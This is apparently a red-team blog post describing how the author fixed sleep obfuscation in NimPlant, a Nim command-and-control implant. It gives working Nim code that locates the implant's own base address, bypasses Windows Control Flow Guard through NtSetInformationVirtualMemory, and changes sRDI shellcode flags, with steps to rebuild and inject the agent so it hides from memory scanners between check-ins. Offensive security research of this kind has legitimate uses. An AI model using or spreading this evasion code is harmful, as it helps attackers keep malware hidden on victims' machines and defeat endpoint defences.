NimPlant: Sweet Dreams
NimPlant is a light-weight first-stage Command & Control (C2) written in the Nim programming language.
The NimPlant repository on GitHub has an open issue indicating that the current sleep obfuscation implementation does not work for the DLL and shellcode payloads. I have recently taken the Malware Development courses from Sektor7 and decided to put the theory into practice by fixing the current sleep obfuscation implementation. This post documents the steps I have taken to troubleshoot and implement sleep obfuscation for the DLL and shellcode payloads.
Please excuse my Nim code, as this is the very first time I’ve ever written or read Nim code. For easy debugging of variable values and memory addresses I used the snippet below:
1import winim/lean
2import std/strformat
3
4var msg = fmt"Memory Address: {cast[uint64](memoryaddress):x}"
5discard MessageBox(0, msg, "Debug value", 0)
Sleep Obfuscation
Lets first introduce some terminology before digging down into the details. C2 agents are a type of malware that is installed on victim machines by an attacker to maintain access and execute commands. These agents will periodically check in with a C2 server to fetch commands and report the output of previous commands. In between check-ins, the agent is idle and will go to sleep.
Consequently, most of the lifetime of a C2 agent is spent sleeping. A memory scanner can detect the C2 agent, while it is sleeping. Sleep obfuscation is the process of encrypting/decrypting the executable code of the C2 agent before/after sleeping. As a result, the agent will be able to evade periodic memory scans.
Ekko Sleep Obfuscation encrypts the executable code of the c2 agent during sleep.
Identifying the Problem
NimPlant currently uses the Ekko sleep obfuscation technique as published by C5Spider on GitHub. The GitHub repository warns that the implementation contains flaws, and is not production ready.
The exact inner workings of the Ekko sleep obfuscation technique are out of scope for this post. It will just focus on improving the current implementation, so it will also work for the DLL and shellcode payloads of NimPlant.
For all the specifics on the Ekko sleep obfuscation technique I recommend reading the source code yourself. To follow along with this blog post, I will provide a high level description which should suffice. The Ekko sleep obfuscation technique performs the following steps:
- Generate a key for the encryption algorithm
- Use timers to queue the following function calls: 1. Change NimPlant memory permissions to RW 2. Encrypt NimPlant memory 3. Wait for some time 4. Decrypt NimPlant memory 5. Change NimPlant memory permissions to RX 6. Signal NimPlant thread to proceed with execution
- Wait to receive a signal from the queued function calls, before continuing execution
The current implementation uses GetModuleHandleA to determine the memory address of the agent. From MSDN: If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file). For EXE agents this is fine, however if the agent is loaded as a DLL, e.g. via rundll32.exe, this address will point to rundll32.exe rather than to the start of NimPlant.dll. Thus explaining why the current implementation will not work. It fails to locate the executable code of the agent in memory!
46 ImageBase = cast[PVOID](GetModuleHandleA(LPCSTR(nil)))
File: client/util/ekko.nim
Fixing the DLL Payload: Locating the Payload
Finding your own memory address is a recurring problem in malware development. Several solutions do exist, a popular solution is the one used by Reflective DLL Loaders. The classic ReflectiveDLLInjection project by Stephen Fewer uses an egghunter like approach to find its own base address. First, the loader uses a compiler trick to get the memory address of the current instruction, which is somewhere inside the .text section of the DLL. Next, it moves up through the memory and tries to match the MZ and PE magic bytes to determine the base address of the DLL.
The Nim code below implements this logic (it is ported to Nim from the Stephen Fewer repository). The first if statement evaluates if the current address points to the MZ magic bytes. The next if statement evaluates if the PE magic bytes are at the expected offset. And if so, the function has found the base address of the payload and returns the address.
1proc findBaseAddress(start: PVOID): PVOID =
2 var candidate: PVOID = start
3 var candidateMZ: PIMAGE_DOS_HEADER
4 var candidatePE: PIMAGE_NT_HEADERS
5 var offset: LONG
6
7 while true:
8 candidateMZ = cast[PIMAGE_DOS_HEADER](candidate)
9 # Match the MZ magic bytes
10 if candidateMZ.e_magic == IMAGE_DOS_SIGNATURE:
11 # Sanity Check
12 offset = candidateMZ.e_lfanew
13 if offset > sizeof(IMAGE_DOS_HEADER) and offset < 1024:
14 candidatePE = cast[PIMAGE_NT_HEADERS](candidate + offset)
15 # Match the PE magic bytes
16 if candidatePE.Signature == IMAGE_NT_SIGNATURE :
17 return candidate
18 candidate = candidate - 1
To fix sleep obfuscation implementation for the DLL payload add the above function to the client/util/ekko.nim file and replace line 46 with:
46 ImageBase = findBaseAddress(cast[PVOID](findBaseAddress))
file: client/util/ekko.nim
Fixing the DLL Payload: Bypassing Control Flow Guard
Although the payload now correctly computes its base address, the agent will still crash after a single check-in with the C2 server when it is started via rundll32.exe. Attaching a debugger to the process will reveal the error code C0000409, STATUS_STACK_BUFFER_OVERRUN.
The debugger reveals an unhandled exception is crashing the process.
If you Google “Ekko sleep GitHub”, you’ll find repositories that discuss bypassing Control Flow Guard (CFG). Let’s check if CFG is in play here. Disable CFG in the Windows Security settings and reboot the test machine. Next, launch the agent with rundll32.exe and observe that the process no longer crashes. It appears that CFG is causing the instability of the agent.
Disable CFG via Windows Security > App & Browser Control > Exploit Protection > CFG
Procexp.exe shows that the rundll32.exe program is CFG enabled.
Control Flow Guard
MSDN provides the following description for Control Flow Guard: Control Flow Guard (CFG) is a highly-optimized platform security feature that was created to combat memory corruption vulnerabilities. By placing tight restrictions on where an application can execute code from, it makes it much harder for exploits to execute arbitrary code. This GitHub repository implements a Control Flow Guard bypass for the sleepmask functionality of Cobalt Strike. Porting this bypass to Nim should allow the Ekko sleep obfuscation to run without crashing a CFG enabled process.
To bypass CFG, the agent must mark the NtContinue function as a valid call target, before queuing the other function calls with timers. Otherwise, Control Flow Guard will prevent the method from being executed, by crashing the process.
The code below is a port of the Cobalt Strike sleepmask CFG bypass to Nim. For brevity type definitions, variable declarations and error checks are omitted (full code is in client/util/cfg.nim). The code performs the following steps:
- Find the base address of the region in which function (
address) resides. - Compute the offset from the base address to the function.
- Create and populate the appropriate data structure.
- Mark the function as a valid target by calling
NtSetInformationVirtualMemory.
1proc evadeCFG*(address: PVOID): BOOl =
2
3 # Get start of region in which function resides
4 size = VirtualQuery(address, addr(mbi), sizeof(mbi))
5
6 # Region in which to mark functions as valid CFG call targets
7 VirtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize)
8 VirtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress)
9
10 # Create an Offset Information for the function that should be marked as valid for CFG
11 OffsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress)
12 OffsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID
13
14 # Wrap the offsets into a VM_INFORMATION
15 VmInformation.dwNumberOfOffsets = 0x1
16 VmInformation.plOutput = addr(dwOutput)
17 VmInformation.ptOffsets = addr(OffsetInformation)
18 VmInformation.pMustBeZero = nil
19 VmInformation.pMoarZero = nil
20
21 # Resolve the function
22 var NtSetInformationVirtualMemory = cast[NtSetInformationVirtualMemory_t](
23 GetProcAddress(LoadLibraryA(obf("ntdll")), obf("NtSetInformationVirtualMemory"))
24 )
25
26 # Register `address` as a valid call target for CFG
27 status = NtSetInformationVirtualMemory(
28 GetCurrentProcess(),
29 VmCfgCalltargetInformation,
30 cast[ULONG_PTR](1),
31 addr(VirtualAddresses),
32 cast[PVOID](addr(VmInformation)),
33 cast[ULONG](sizeof(VmInformation))
34 )
35
36 return true
Add a call to the function evadeCFG in the client/util/ekko.nim file and recompile the DLL payload. Launch the agent with rundll32.exe and observe that it continues to check in with the C2 server now. The Ekko sleep obfuscation is now compatible with the DLL payloads.
54 Img.MaximumLength = ImageSize
55
56 # Allow NtContinue to run under CFG
57 NtContinue = GetProcAddress(GetModuleHandleA(obf("ntdll")), obf("NtContinue"))
58 discard evadeCFG(NtContinue)
59
60 if CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](RtlCaptureContext),
61 addr(CtxThread), 0, 0, WT_EXECUTEINTIMERTHREAD):
62 WaitForSingleObject(hEvent, 0x32)
File: client/util/ekko.nim
Fixing the Shellcode Payload: No More Stomping
To generate a shellcode payload NimPlant leverages the sRDI project to convert the DLL agent to shellcode. sRDI can turn any DLL into position independent code, aka shellcode. It achieves this by prepending a reflective DLL loader and a bootstrapping shellcode to the DLL. The loader will load the DLL into memory and pass execution to one of its exported functions, thus starting the NimPlant agent.
So, cross your fingers, generate the shellcode payload, and inject it using the shinject command using an already running agent. Notice that it will crash the target process after a single check-in with the C2 server. Attaching a debugger, will reveal that the crash is caused by C0000005 - EXCEPTION_ACCESS_VIOLATION.
The debugger shows an unhandled access violation exception crashes the process.
Analysis of the process memory with Process Hacker 2 shows that there are two copies of the agent DLL in the process memory. This is to be expected as the first copy was written by the shinject command and the second copy was written by the reflective DLL loader. The second copy however, is missing the MZ magic bytes, and instead contains only null bytes up to the PE magic bytes. Recall, that the findBaseAddress function needs both magic bytes to determine the base address. Since it cannot find the base address now, it will continue searching up through the process memory until it causes an access violation.
The first copy (bottom right) contains the MZ magic bytes, but they are missing in the second copy (top right).
Study the reflective loader in the sRDI project (sRDI/ShellcodeRDI/ShellcodeRDI.c) and observe that “stomping” (aka zeroing out) the header is configurable via the dwFlags parameter. The NimPlant.py file explicitly sets the flag to a value of 0x5, which instructs the reflective loader to clear the headers and obfuscate the imports. Simply changing the flag value to 0x4 will prevent the headers from being stomped, thus allowing the findBaseAddress function to find the base address of the agent DLL.
189 shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x4)
File: NimPlant.py
Generate the shellcode and inject it into a remote process again. The agent should now keep running after the first check-in and encrypt itself in between check-ins to the C2 server. If you want to browse the code, check out the Pull Request!